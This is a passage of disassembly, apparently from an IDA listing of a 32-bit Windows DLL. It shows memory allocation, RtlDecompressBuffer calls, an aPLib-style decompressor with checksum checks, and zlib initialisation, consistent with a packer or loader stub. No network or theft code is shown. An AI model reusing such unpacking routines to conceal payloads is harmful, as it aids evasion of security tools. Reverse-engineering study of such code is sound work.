eax, eax mov ds:dword_10008094, eax call sub_10003668 mov edx, offset dword_10008088 mov eax, ebx call sub_10002E7C pop ebx retn sub_10003674 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_100036DD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A658 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100036E4 loc_100036DC: ; CODE XREF: CODE:100036E2j retn ; --------------------------------------------------------------------------- loc_100036DD: ; DATA XREF: CODE:100036BEo jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_100036DC ; --------------------------------------------------------------------------- loc_100036E4: ; CODE XREF: CODE:loc_100036DCj ; DATA XREF: CODE:100036D7o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_1000A658, 1 retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10003715 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A660 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000371C loc_10003714: ; CODE XREF: CODE:1000371Aj retn ; --------------------------------------------------------------------------- loc_10003715: ; DATA XREF: CODE:100036F6o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10003714 ; --------------------------------------------------------------------------- loc_1000371C: ; CODE XREF: CODE:loc_10003714j ; DATA XREF: CODE:1000370Fo pop ebp retn ; --------------------------------------------------------------------------- align 10h sub ds:dword_1000A660, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003728 proc near ; CODE XREF: sub_100072F4+18Ap jmp ds:dword_1000B14C sub_10003728 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003730 proc near ; CODE XREF: sub_10007590+15p ; sub_100075D4+15p jmp ds:dword_1000B148 sub_10003730 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003738 proc near ; CODE XREF: sub_10007590+Fp ; sub_10007590+23p ... jmp ds:dword_1000B144 sub_10003738 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003740 proc near ; CODE XREF: sub_100072F4+1A7p jmp ds:dword_1000B140 sub_10003740 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003748 proc near ; CODE XREF: sub_10007590+29p jmp ds:dword_1000B13C sub_10003748 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003750 proc near ; CODE XREF: sub_10007590+33p jmp ds:dword_1000B138 sub_10003750 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003758 proc near ; CODE XREF: sub_100072F4+1C4p jmp ds:dword_1000B134 sub_10003758 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003760 proc near ; CODE XREF: sub_100072F4+24Fp jmp ds:dword_1000B130 sub_10003760 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003768 proc near ; CODE XREF: sub_100072F4+243p jmp ds:dword_1000B12C sub_10003768 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003770 proc near ; CODE XREF: sub_100075D4+29p jmp ds:dword_1000B128 sub_10003770 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003778 proc near ; CODE XREF: sub_100037E0+39p ; sub_100038B0+38p ... jmp ds:dword_1000B124 sub_10003778 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003780 proc near ; CODE XREF: sub_100072F4+1E2p jmp ds:dword_1000B120 sub_10003780 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10003788 proc near ; CODE XREF: sub_100072F4+201p ; sub_100072F4+221p jmp ds:dword_1000B11C sub_10003788 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10003790 proc near ; CODE XREF: sub_100072F4+9Bp ; sub_100072F4+F0p xchg eax, edx call sub_1000254C retn sub_10003790 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003798 proc near ; CODE XREF: sub_100072F4+140p ; sub_100072F4+150p xor ecx, ecx call sub_1000273C retn sub_10003798 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_100037C5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A664 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100037CC loc_100037C4: ; CODE XREF: CODE:100037CAj retn ; --------------------------------------------------------------------------- loc_100037C5: ; DATA XREF: CODE:100037A6o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_100037C4 ; --------------------------------------------------------------------------- loc_100037CC: ; CODE XREF: CODE:loc_100037C4j ; DATA XREF: CODE:100037BFo pop ebp retn ; --------------------------------------------------------------------------- align 10h sub ds:dword_1000A664, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_100037D8 proc near ; CODE XREF: sub_100037E0+5Ep jmp ds:dword_1000B154 sub_100037D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100037E0 proc near ; CODE XREF: sub_10007610+29p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = qword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_20], ecx mov edi, edx mov [esp+24h+var_24], eax xor ebp, ebp mov eax, [edi] mov dword ptr [esp+24h+var_18], eax xor eax, eax mov dword ptr [esp+24h+var_18+4], eax fild [esp+24h+var_18] fmul flt_1000385C call sub_100026D8 mov esi, eax push 4 push 1000h push esi push 0 call sub_10003778 ; VirtualAlloc mov ebx, eax test ebx, ebx jz short loc_10003852 xor eax, eax mov [esp+24h+var_1C], eax lea eax, [esp+24h+var_1C] push eax mov eax, [edi] push eax mov eax, [esp+2Ch+var_24] push eax push esi push ebx mov eax, [esp+38h+var_20] push eax call sub_100037D8 ; RtlDecompressBuffer cmp [esp+24h+var_1C], 0 jz short loc_10003852 mov eax, [esp+24h+var_1C] mov [edi], eax mov ebp, ebx loc_10003852: ; CODE XREF: sub_100037E0+42j ; sub_100037E0+68j mov eax, ebp add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_100037E0 endp ; --------------------------------------------------------------------------- flt_1000385C dd 1.25e1 ; DATA XREF: sub_100037E0+22r ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10003885 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A668 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000388C loc_10003884: ; CODE XREF: CODE:1000388Aj retn ; --------------------------------------------------------------------------- loc_10003885: ; DATA XREF: CODE:10003866o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10003884 ; --------------------------------------------------------------------------- loc_1000388C: ; CODE XREF: CODE:loc_10003884j ; DATA XREF: CODE:1000387Fo pop ebp retn ; --------------------------------------------------------------------------- align 10h sub ds:dword_1000A668, 1 retn ; =============== S U B R O U T I N E ======================================= sub_10003898 proc near ; CODE XREF: sub_100038B0+15p test eax, eax jnz short loc_100038A0 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_100038A0: ; CODE XREF: sub_10003898+2j sub eax, 4 mov eax, [eax] and eax, 7FFFFFFCh sub eax, 4 retn sub_10003898 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100038B0 proc near ; CODE XREF: sub_1000765C+24p push ebx push esi push edi push ebp mov edi, edx mov esi, eax xor ebp, ebp test esi, esi jz short loc_100038FF cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_100038CC mov eax, esi call sub_10003898 mov [edi], eax loc_100038CC: ; CODE XREF: sub_100038B0+11j push esi call sub_10003CCC pop ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_100038DE test ebx, ebx jz short loc_100038FF loc_100038DE: ; CODE XREF: sub_100038B0+28j push 4 push 1000h push ebx push 0 call sub_10003778 ; VirtualAlloc mov ebp, eax push ebx push ebp mov eax, [edi] push eax push esi call sub_10003CF0 add esp, 10h mov [edi], eax loc_100038FF: ; CODE XREF: sub_100038B0+Cj ; sub_100038B0+2Cj mov eax, ebp pop ebp pop edi pop esi pop ebx retn sub_100038B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003908 proc near ; CODE XREF: sub_10003CF0+57p var_28 = dword ptr -28h var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h pusha mov esi, [esp+20h+arg_0] mov eax, [esp+20h+arg_4] mov edi, [esp+20h+arg_8] mov ecx, [esp+20h+arg_C] push eax push ecx test esi, esi jz loc_10003BCE test edi, edi jz loc_10003BCE cld xor edx, edx loc_1000392E: ; CODE XREF: sub_10003908:loc_10003968j sub [esp+28h+var_24], 1 jb loc_10003BCE mov al, [esi] add esi, 1 sub [esp+28h+var_28], 1 jb loc_10003BCE mov [edi], al add edi, 1 mov ebx, 2 loc_10003952: ; CODE XREF: sub_10003908+129j ; sub_10003908+1D4j ... add dl, dl jnz short loc_10003968 sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003968: ; CODE XREF: sub_10003908+4Cj jnb short loc_1000392E add dl, dl jnz short loc_10003980 sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003980: ; CODE XREF: sub_10003908+64j jnb loc_10003A36 xor eax, eax add dl, dl jnz short loc_1000399E sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_1000399E: ; CODE XREF: sub_10003908+82j jnb loc_10003B83 add dl, dl jnz short loc_100039BA sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_100039BA: ; CODE XREF: sub_10003908+9Ej adc eax, eax add dl, dl jnz short loc_100039D2 sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_100039D2: ; CODE XREF: sub_10003908+B6j adc eax, eax add dl, dl jnz short loc_100039EA sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_100039EA: ; CODE XREF: sub_10003908+CEj adc eax, eax add dl, dl jnz short loc_10003A02 sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003A02: ; CODE XREF: sub_10003908+E6j adc eax, eax jz loc_10003A1F mov ebx, [esp+28h+arg_C] sub ebx, [esp+28h+var_28] cmp eax, ebx ja loc_10003BCE mov ebx, edi sub ebx, eax mov al, [ebx] loc_10003A1F: ; CODE XREF: sub_10003908+FCj sub [esp+28h+var_28], 1 jb loc_10003BCE mov [edi], al inc edi mov ebx, 2 jmp loc_10003952 ; --------------------------------------------------------------------------- loc_10003A36: ; CODE XREF: sub_10003908:loc_10003980j mov eax, 1 loc_10003A3B: ; CODE XREF: sub_10003908:loc_10003A6Fj add dl, dl jnz short loc_10003A51 sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003A51: ; CODE XREF: sub_10003908+135j adc eax, eax jb loc_10003BCE add dl, dl jnz short loc_10003A6F sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003A6F: ; CODE XREF: sub_10003908+153j jb short loc_10003A3B sub eax, ebx mov ebx, 1 jnz loc_10003AE1 mov ecx, 1 loc_10003A83: ; CODE XREF: sub_10003908:loc_10003AB7j add dl, dl jnz short loc_10003A99 sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003A99: ; CODE XREF: sub_10003908+17Dj adc ecx, ecx jb loc_10003BCE add dl, dl jnz short loc_10003AB7 sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003AB7: ; CODE XREF: sub_10003908+19Bj jb short loc_10003A83 push ecx mov ecx, [esp+2Ch+arg_C] sub ecx, [esp+2Ch+var_28] cmp ebp, ecx pop ecx ja loc_10003BCE sub [esp+28h+var_28], ecx jb loc_10003BCE push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_10003952 ; --------------------------------------------------------------------------- loc_10003AE1: ; CODE XREF: sub_10003908+170j dec eax test eax, 0FF000000h jnz loc_10003BCE shl eax, 8 sub [esp+28h+var_24], 1 jb loc_10003BCE mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_10003B05: ; CODE XREF: sub_10003908:loc_10003B39j add dl, dl jnz short loc_10003B1B sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003B1B: ; CODE XREF: sub_10003908+1FFj adc ecx, ecx jb loc_10003BCE add dl, dl jnz short loc_10003B39 sub [esp+28h+var_24], 1 jb loc_10003BCE mov dl, [esi] inc esi add dl, dl inc dl loc_10003B39: ; CODE XREF: sub_10003908+21Dj jb short loc_10003B05 cmp eax, 7D00h sbb ecx, 0FFFFFFFFh cmp eax, 500h sbb ecx, 0FFFFFFFFh cmp eax, 80h adc ecx, 0 cmp eax, 80h adc ecx, 0 push ecx mov ecx, [esp+2Ch+arg_C] sub ecx, [esp+2Ch+var_28] cmp eax, ecx pop ecx ja loc_10003BCE sub [esp+28h+var_28], ecx jb loc_10003BCE push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_10003952 ; --------------------------------------------------------------------------- loc_10003B83: ; CODE XREF: sub_10003908:loc_1000399Ej sub [esp+28h+var_24], 1 jb loc_10003BCE mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_10003BD6 adc ecx, 2 mov ebp, eax push ecx mov ecx, [esp+2Ch+arg_C] sub ecx, [esp+2Ch+var_28] cmp eax, ecx pop ecx ja loc_10003BCE sub [esp+28h+var_28], ecx jb loc_10003BCE push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_10003952 ; --------------------------------------------------------------------------- loc_10003BCE: ; CODE XREF: sub_10003908+15j ; sub_10003908+1Dj ... add esp, 8 popa or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_10003BD6: ; CODE XREF: sub_10003908+28Ej add esp, 8 sub edi, [esp+20h+arg_8] mov [esp+20h+var_4], edi popa retn sub_10003908 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003BE4 proc near ; CODE XREF: sub_10003CF0+3Bp ; sub_10003CF0+68p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov ecx, [esp+20h+arg_4] mov edi, offset dword_100080A0 sub eax, eax test esi, esi jz loc_10003CC4 sub eax, 1 test ecx, ecx jz loc_10003CC2 loc_10003C07: ; CODE XREF: sub_10003BE4+3Cj test esi, 3 jz short loc_10003C22 xor al, [esi] inc esi mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] dec ecx jnz short loc_10003C07 loc_10003C22: ; CODE XREF: sub_10003BE4+29j mov edx, ecx and edx, 7 shr ecx, 3 jz loc_10003CA9 loc_10003C30: ; CODE XREF: sub_10003BE4+BFj xor eax, [esi] add esi, 4 mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] xor eax, [esi] add esi, 4 mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] dec ecx jnz loc_10003C30 loc_10003CA9: ; CODE XREF: sub_10003BE4+46j mov ecx, edx test ecx, ecx jz short loc_10003CC2 loc_10003CAF: ; CODE XREF: sub_10003BE4+DCj xor al, [esi] inc esi mov ebx, 0FFh and ebx, eax shr eax, 8 xor eax, [edi+ebx*4] dec ecx jnz short loc_10003CAF loc_10003CC2: ; CODE XREF: sub_10003BE4+1Dj ; sub_10003BE4+C9j not eax loc_10003CC4: ; CODE XREF: sub_10003BE4+12j mov [esp+20h+var_4], eax popa retn sub_10003BE4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003CCC proc near ; CODE XREF: sub_100038B0+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 4 pusha mov esi, [esp+20h+arg_0] mov ebx, [esi] or eax, 0FFFFFFFFh cmp ebx, 32335041h jnz short loc_10003CE9 mov ebx, [esi+4] cmp ebx, 18h jb short loc_10003CE9 mov eax, [esi+10h] loc_10003CE9: ; CODE XREF: sub_10003CCC+10j ; sub_10003CCC+18j mov [esp+20h+var_4], eax popa retn sub_10003CCC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10003CF0 proc near ; CODE XREF: sub_100038B0+45p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h pusha mov esi, [esp+20h+arg_0] mov ecx, [esp+20h+arg_4] mov edi, [esp+20h+arg_8] test esi, esi jz short loc_10003D67 test edi, edi jz short loc_10003D67 cmp ecx, 18h jb short loc_10003D67 mov ebx, [esi] cmp ebx, 32335041h jnz short loc_10003D67 mov ebx, [esi+4] cmp ebx, 18h jb short loc_10003D67 sub ecx, ebx jb short loc_10003D67 cmp [esi+8], ecx ja short loc_10003D67 add ebx, esi push dword ptr [esi+8] push ebx call sub_10003BE4 add esp, 8 cmp eax, [esi+0Ch] jnz short loc_10003D67 mov ecx, [esp+20h+arg_C] cmp [esi+10h], ecx ja short loc_10003D67 push ecx push edi push dword ptr [esi+8] push ebx call sub_10003908 add esp, 10h cmp eax, [esi+10h] jnz short loc_10003D67 mov ebx, eax push eax push edi call sub_10003BE4 add esp, 8 cmp eax, [esi+14h] mov eax, ebx jz short loc_10003D6A loc_10003D67: ; CODE XREF: sub_10003CF0+Fj ; sub_10003CF0+13j ... or eax, 0FFFFFFFFh loc_10003D6A: ; CODE XREF: sub_10003CF0+75j mov [esp+20h+var_4], eax popa retn sub_10003CF0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10003D95 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A66C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10003D9C loc_10003D94: ; CODE XREF: CODE:10003D9Aj retn ; --------------------------------------------------------------------------- loc_10003D95: ; DATA XREF: CODE:10003D76o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10003D94 ; --------------------------------------------------------------------------- loc_10003D9C: ; CODE XREF: CODE:loc_10003D94j ; DATA XREF: CODE:10003D8Fo pop ebp retn ; --------------------------------------------------------------------------- align 10h sub ds:dword_1000A66C, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003DA8 proc near ; CODE XREF: sub_10003DE4+15p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_10002448 mov [ebp+var_8], eax mov eax, [ebp+var_8] xor ecx, ecx mov edx, [ebp+var_4] call sub_1000273C mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn sub_10003DA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003DD0 proc near ; CODE XREF: sub_10004F78+499p ; sub_10005C70+Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] call sub_1000254C pop ebp retn sub_10003DD0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003DE4 proc near ; DATA XREF: sub_1000400C+4Ao var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h mov [ebp+var_8], ecx mov [ebp+var_4], edx mov [ebp+var_10], eax mov eax, [ebp+var_4] imul [ebp+var_8] call sub_10003DA8 mov [ebp+var_C], eax mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_10003DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003E08 proc near ; DATA XREF: sub_1000400C+5Co var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], edx mov [ebp+var_8], eax mov eax, [ebp+var_4] call sub_10002468 pop ecx pop ecx pop ebp retn sub_10003E08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003E20 proc near ; CODE XREF: sub_10003E38+94p ; sub_10003E38+D9p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn sub_10003E20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10003E38 proc near ; CODE XREF: sub_10007758+53p var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFB8h push ebx push esi push edi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax lea eax, [ebp+var_48] xor ecx, ecx mov edx, 38h call sub_1000273C mov eax, [ebp+var_8] add eax, 0FFh and eax, 0FFFFFF00h mov [ebp+var_10], eax cmp [ebp+var_C], 0 jnz short loc_10003E79 mov eax, [ebp+arg_0] mov edx, [ebp+var_10] mov [eax], edx jmp short loc_10003E81 ; --------------------------------------------------------------------------- loc_10003E79: ; CODE XREF: sub_10003E38+35j mov eax, [ebp+arg_0] mov edx, [ebp+var_C] mov [eax], edx loc_10003E81: ; CODE XREF: sub_10003E38+3Fj mov eax, [ebp+arg_0] mov eax, [eax] call sub_10002448 mov edx, [ebp+arg_4] mov [edx], eax xor eax, eax push ebp push offset loc_10003F58 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov [ebp+var_48], eax mov eax, [ebp+var_8] mov [ebp+var_44], eax mov eax, [ebp+arg_4] mov eax, [eax] mov [ebp+var_3C], eax mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_38], eax mov edx, offset dword_10003F7C lea eax, [ebp+var_48] mov ecx, 38h call sub_10004118 call sub_10003E20 xor eax, eax push ebp push offset loc_10003F34 push dword ptr fs:[eax] mov fs:[eax], esp jmp short loc_10003F07 ; --------------------------------------------------------------------------- loc_10003EE1: ; CODE XREF: sub_10003E38+DFj mov eax, [ebp+arg_0] mov edx, [ebp+var_10] add [eax], edx mov edx, [ebp+arg_0] mov edx, [edx] mov eax, [ebp+arg_4] call sub_10002488 mov eax, [ebp+arg_4] mov eax, [eax] add eax, [ebp+var_34] mov [ebp+var_3C], eax mov eax, [ebp+var_10] mov [ebp+var_38], eax loc_10003F07: ; CODE XREF: sub_10003E38+A7j lea eax, [ebp+var_48] xor edx, edx call sub_10004128 call sub_10003E20 dec eax jnz short loc_10003EE1 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10003F3B loc_10003F26: ; CODE XREF: sub_10003E38+101j lea eax, [ebp+var_48] call sub_10003FCC call sub_10003E20 retn ; --------------------------------------------------------------------------- loc_10003F34: ; DATA XREF: sub_10003E38+9Co jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10003F26 ; --------------------------------------------------------------------------- loc_10003F3B: ; CODE XREF: sub_10003E38+FBj ; DATA XREF: sub_10003E38+E9o mov eax, [ebp+arg_4] mov edx, [ebp+var_34] call sub_10002488 mov eax, [ebp+arg_0] mov edx, [ebp+var_34] mov [eax], edx xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_10003F71 ; --------------------------------------------------------------------------- loc_10003F58: ; DATA XREF: sub_10003E38+5Bo jmp loc_10002A34 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] mov eax, [eax] call sub_10002468 call sub_10002B98 call sub_10002BEC loc_10003F71: ; CODE XREF: sub_10003E38+11Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_10003E38 endp ; --------------------------------------------------------------------------- align 4 dword_10003F7C dd 2E312E31h, 33h ; DATA XREF: sub_10003E38+82o ; =============== S U B R O U T I N E ======================================= sub_10003F84 proc near ; CODE XREF: sub_1000400C+FDp ; CODE:1000460Fp push ebx test eax, eax jz short loc_10003F8F cmp dword ptr [eax+1Ch], 0 jnz short loc_10003F96 loc_10003F8F: ; CODE XREF: sub_10003F84+3j mov eax, 0FFFFFFFEh pop ebx retn ; --------------------------------------------------------------------------- loc_10003F96: ; CODE XREF: sub_10003F84+9j xor edx, edx xor ecx, ecx mov [eax+14h], edx mov [eax+8], edx mov [eax+18h], ecx mov ecx, 7 mov ebx, [eax+1Ch] cmp dword ptr [ebx+0Ch], 0 jnz short loc_10003FB4 add ecx, 0FFFFFFF9h loc_10003FB4: ; CODE XREF: sub_10003F84+2Bj mov edx, [eax+1Ch] mov [edx], ecx mov ecx, [edx+14h] xor edx, edx xchg eax, ecx xchg edx, ecx call sub_10004E7C xor eax, eax pop ebx retn sub_10003F84 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10003FCC proc near ; CODE XREF: sub_10003E38+F1p ; sub_1000400C+B0p ... push ebx mov ebx, eax test ebx, ebx jz short loc_10003FDF cmp dword ptr [ebx+1Ch], 0 jz short loc_10003FDF cmp dword ptr [ebx+24h], 0 jnz short loc_10003FE6 loc_10003FDF: ; CODE XREF: sub_10003FCC+5j ; sub_10003FCC+Bj mov eax, 0FFFFFFFEh pop ebx retn ; --------------------------------------------------------------------------- loc_10003FE6: ; CODE XREF: sub_10003FCC+11j mov edx, [ebx+1Ch] mov eax, [edx+14h] test eax, eax jz short loc_10003FF7 mov edx, ebx call sub_10005C40 loc_10003FF7: ; CODE XREF: sub_10003FCC+22j mov edx, [ebx+1Ch] mov eax, [ebx+28h] call dword ptr [ebx+24h] xor ecx, ecx xor eax, eax mov [ebx+1Ch], ecx pop ebx retn sub_10003FCC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000400C proc near ; CODE XREF: sub_10004118+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], ecx mov esi, edx cmp [ebp+var_4], 0 mov ebx, eax jz short loc_10004033 mov eax, [ebp+var_4] mov dl, [eax] cmp dl, ds:byte_100084A4 jnz short loc_10004033 cmp [ebp+arg_0], 38h jz short loc_1000403D loc_10004033: ; CODE XREF: sub_1000400C+12j ; sub_1000400C+1Fj mov eax, 0FFFFFFFAh jmp loc_10004110 ; --------------------------------------------------------------------------- loc_1000403D: ; CODE XREF: sub_1000400C+25j test ebx, ebx jnz short loc_1000404B mov eax, 0FFFFFFFEh jmp loc_10004110 ; --------------------------------------------------------------------------- loc_1000404B: ; CODE XREF: sub_1000400C+33j xor edx, edx mov [ebx+18h], edx cmp dword ptr [ebx+20h], 0 jnz short loc_10004062 mov dword ptr [ebx+20h], offset sub_10003DE4 xor ecx, ecx mov [ebx+28h], ecx loc_10004062: ; CODE XREF: sub_1000400C+48j cmp dword ptr [ebx+24h], 0 jnz short loc_1000406F mov dword ptr [ebx+24h], offset sub_10003E08 loc_1000406F: ; CODE XREF: sub_1000400C+5Aj mov ecx, 18h mov edx, 1 mov eax, [ebx+28h] call dword ptr [ebx+20h] mov [ebx+1Ch], eax test eax, eax jnz short loc_10004090 mov eax, 0FFFFFFFCh jmp loc_10004110 ; --------------------------------------------------------------------------- loc_10004090: ; CODE XREF: sub_1000400C+78j mov edx, [ebx+1Ch] xor ecx, ecx mov [edx+14h], ecx xor edx, edx mov eax, [ebx+1Ch] test esi, esi mov [eax+0Ch], edx jge short loc_100040B0 mov ecx, [ebx+1Ch] neg esi mov dword ptr [ecx+0Ch], 1 loc_100040B0: ; CODE XREF: sub_1000400C+96j cmp esi, 8 jl short loc_100040BA cmp esi, 0Fh jle short loc_100040C8 loc_100040BA: ; CODE XREF: sub_1000400C+A7j mov eax, ebx call sub_10003FCC mov eax, 